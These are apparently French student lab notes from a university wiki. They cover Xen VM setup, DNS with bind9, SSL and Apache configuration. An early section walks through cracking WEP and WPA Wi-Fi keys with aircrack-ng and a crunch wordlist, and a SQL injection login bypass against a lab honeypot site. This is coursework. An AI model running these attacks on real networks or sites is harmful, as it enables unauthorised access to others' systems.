Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;br /&gt;
&lt;br /&gt;
=Injection SQL=&lt;br /&gt;
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend&lt;br /&gt;
Pour ce faire, on met dans la cellule 'identifiant' la valeur &lt;br /&gt;
 ' OR 1 = 1;&lt;br /&gt;
Coté backend, la requete  SQL effectuée ressemble probablement à&lt;br /&gt;
 select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';&lt;br /&gt;
&lt;br /&gt;
En conséquence, notre injection génère la requete :&lt;br /&gt;
 select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';&lt;br /&gt;
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table&lt;br /&gt;
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.&lt;br /&gt;
&lt;br /&gt;
=TP ASR=&lt;br /&gt;
&lt;br /&gt;
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'&lt;br /&gt;
on définit une clé SSH et créé un environnement python virtuel : &lt;br /&gt;
 $ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C &amp;quot;your.name@polytech-lille.net&amp;quot; -P ''&lt;br /&gt;
&lt;br /&gt;
 $ python3 -m venv ~/env-ansible&lt;br /&gt;
 $ . ~/env-ansible/bin/activate&lt;br /&gt;
 $ pip3 install -U setuptools wheel&lt;br /&gt;
 $ pip3 install -U ansible&lt;br /&gt;
&lt;br /&gt;
puis &lt;br /&gt;
 $ ansible-playbook -v -i inventory polytech.yaml&lt;br /&gt;
&lt;br /&gt;
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :&lt;br /&gt;
 $ cd /etc/xen&lt;br /&gt;
 $ xen create pra-11.cfg&lt;br /&gt;
 $ xen console pra-11&lt;br /&gt;
&lt;br /&gt;
On se log dans la VM et on configure l'interface eth0 dans /etc/network/interfaces:&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static &lt;br /&gt;
  address 172.26.145.111&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
  network 172.26.145.0&lt;br /&gt;
  gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
On s'assure qu'on peut ping l'adresse de la VM depuis la zabeth.&lt;br /&gt;
On cherche à configurer automatiquement les clés SSH acceptées par la VM grâce à Ansible. Pour cela, on créé un nouveau role dans le dossier 'roles' que l'on appelle ssh-keys.&lt;br /&gt;
On créé les dossiers templates et tasks en se basant sur le dossier base fourni.&lt;br /&gt;
 ---&lt;br /&gt;
 - hosts: all&lt;br /&gt;
   roles:&lt;br /&gt;
     # installs the `ssh_keys` role onto the targetted host&lt;br /&gt;
     - role: ssh_key&lt;br /&gt;
       tags: ssh_key&lt;br /&gt;
&lt;br /&gt;
On change également dans polytech.yaml les roles que l'on souhaite appeller au lancement de Ansible (on remplace base par ssh_key)&lt;br /&gt;
 PRA-11 ansible_ssh_host=&amp;quot;172.26.145.111&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans inventory, on spécifie le nom de la machine ainsi que l'adresse ip de cette dernière&lt;br /&gt;
On doit également ajouter une task afin de patch la distro BullsEye que l'on utilise sur la VM :&lt;br /&gt;
 #&lt;br /&gt;
 #  /etc/apt/sources.list&lt;br /&gt;
 #&lt;br /&gt;
 #&lt;br /&gt;
 # bullseye&lt;br /&gt;
 #&lt;br /&gt;
 deb     http://deb.debian.org/debian     bullseye main contrib non-free&lt;br /&gt;
 deb-src http://deb.debian.org/debian     bullseye main contrib non-free&lt;br /&gt;
 # &lt;br /&gt;
 #  Security updates&lt;br /&gt;
 # &lt;br /&gt;
 deb http://security.debian.org/debian-security bullseye-security main contrib non-free&lt;br /&gt;
&lt;br /&gt;
On installe enfin python3 sur la VM, nécessaire pour le déploiment.&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57954</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57954"/>
				<updated>2022-01-12T11:51:49Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* TP ASR */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, s'il y a un problème de proxy, taper la commande :&lt;br /&gt;
 export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On configure également notre nameserver dans Domain &amp;gt; MON_NOM_DE_DOMAINE &amp;gt; nameservers&lt;br /&gt;
On ajoute un nameserver externe. En premier on met &amp;quot;ns.corona59.club&amp;quot;, en deuxième on met &amp;quot;ns6.gandi.net&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 193.48.57.186&lt;br /&gt;
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On ajoute au fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 ns      IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
On obtient :&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
&lt;br /&gt;
 corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800&lt;br /&gt;
 corona59.club name server ns.corona59.club.&lt;br /&gt;
 corona59.club name server ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
Si on obtient pas ça, penser à lancer la commande :&lt;br /&gt;
 tail -50 /var/log/daemon.log&lt;br /&gt;
afin de voir ce qui c'est mal passé.&lt;br /&gt;
&lt;br /&gt;
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
=Certificat SSL=&lt;br /&gt;
Pour obtenir un certificat SSL, on tape :&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr &lt;br /&gt;
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans &amp;quot;Common Name&amp;quot;&lt;br /&gt;
Un fichier .csr et .key sont créés.&lt;br /&gt;
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create&lt;br /&gt;
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.&lt;br /&gt;
&lt;br /&gt;
=Serveur web=&lt;br /&gt;
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.&lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.186:443&amp;gt;&lt;br /&gt;
        ServerName corona59.club&lt;br /&gt;
        ServerAlias www.corona59.club&lt;br /&gt;
        DocumentRoot /var/www/corona59.club/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
 &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/corona59.club.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/corona59.club.key&lt;br /&gt;
        SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On active notre site avec la commande :&lt;br /&gt;
 a2ensite 000-corona59.club-ssl &lt;br /&gt;
&lt;br /&gt;
On édite le fichier /etc/apache2/apache2.conf en rajoutant &lt;br /&gt;
 ServerName corona59.club&lt;br /&gt;
&lt;br /&gt;
On relance apache :&lt;br /&gt;
 systemctl reload apache2&lt;br /&gt;
&lt;br /&gt;
On teste le fonctionnement avec :&lt;br /&gt;
 openssl s_client -connect 193.48.57.186:443&lt;br /&gt;
&lt;br /&gt;
 CONNECTED(00000003)&lt;br /&gt;
 Can't use SSL_get_servername&lt;br /&gt;
 depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=0 CN = corona59.club&lt;br /&gt;
 verify return:1&lt;br /&gt;
 ---&lt;br /&gt;
 Certificate chain&lt;br /&gt;
  0 s:CN = corona59.club&lt;br /&gt;
    i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
  1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
    i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 ---&lt;br /&gt;
 Server certificate&lt;br /&gt;
 -----BEGIN CERTIFICATE-----&lt;br /&gt;
 MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw&lt;br /&gt;
 XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO&lt;br /&gt;
 MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy&lt;br /&gt;
 MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y&lt;br /&gt;
 b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW&lt;br /&gt;
 oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB&lt;br /&gt;
 OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf&lt;br /&gt;
 erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f&lt;br /&gt;
 D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs&lt;br /&gt;
 0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh&lt;br /&gt;
 Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf&lt;br /&gt;
 fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B&lt;br /&gt;
 Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB&lt;br /&gt;
 BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo&lt;br /&gt;
 dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag&lt;br /&gt;
 NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB&lt;br /&gt;
 Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz&lt;br /&gt;
 ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG&lt;br /&gt;
 GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku&lt;br /&gt;
 Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB&lt;br /&gt;
 ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD&lt;br /&gt;
 AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ&lt;br /&gt;
 JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb&lt;br /&gt;
 A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1&lt;br /&gt;
 5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB&lt;br /&gt;
 DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD&lt;br /&gt;
 AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV&lt;br /&gt;
 UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H&lt;br /&gt;
 XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5&lt;br /&gt;
 B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9&lt;br /&gt;
 TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X&lt;br /&gt;
 cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama&lt;br /&gt;
 7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY&lt;br /&gt;
 e0D4Wcue+OV6y/j2&lt;br /&gt;
 -----END CERTIFICATE-----&lt;br /&gt;
 subject=CN = corona59.club   &lt;br /&gt;
&lt;br /&gt;
 issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 No client certificate CA names sent&lt;br /&gt;
 Peer signing digest: SHA256&lt;br /&gt;
 Peer signature type: RSA-PSS&lt;br /&gt;
 Server Temp Key: X25519, 253 bits&lt;br /&gt;
 ---&lt;br /&gt;
 SSL handshake has read 3674 bytes and written 363 bytes&lt;br /&gt;
 Verification: OK&lt;br /&gt;
 ---&lt;br /&gt;
 New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384&lt;br /&gt;
 Server public key is 2048 bit&lt;br /&gt;
 Secure Renegotiation IS NOT supported&lt;br /&gt;
 Compression: NONE&lt;br /&gt;
 Expansion: NONE&lt;br /&gt;
 No ALPN negotiated&lt;br /&gt;
 Early data was not sent&lt;br /&gt;
 Verify return code: 0 (ok)&lt;br /&gt;
 ---&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2   ....N...j.F^....&lt;br /&gt;
     0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50   ..LB..J..8.}.[3P&lt;br /&gt;
     0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6   k..i.W}....u....&lt;br /&gt;
     0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62   .s..E...b.G....b&lt;br /&gt;
     0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0   &amp;amp;_.....TUV,..B..&lt;br /&gt;
     0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75   .\../.i(...Fi..u&lt;br /&gt;
     0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28   ..;(.......R../(&lt;br /&gt;
     0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7   .,.....D...[.lk.&lt;br /&gt;
     0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec   .0.....N...=..L.&lt;br /&gt;
     00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa   J......G.^..._..&lt;br /&gt;
     00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12   ...I.....s&amp;quot;.....&lt;br /&gt;
     00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0   .?.$..R.1.iD....&lt;br /&gt;
     00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85   .3M..?...(..m/..  &lt;br /&gt;
&lt;br /&gt;
     Start Time: 1639409551&lt;br /&gt;
     Timeout   : 7200 (sec)&lt;br /&gt;
     Verify return code: 0 (ok)&lt;br /&gt;
     Extended master secret: no&lt;br /&gt;
     Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
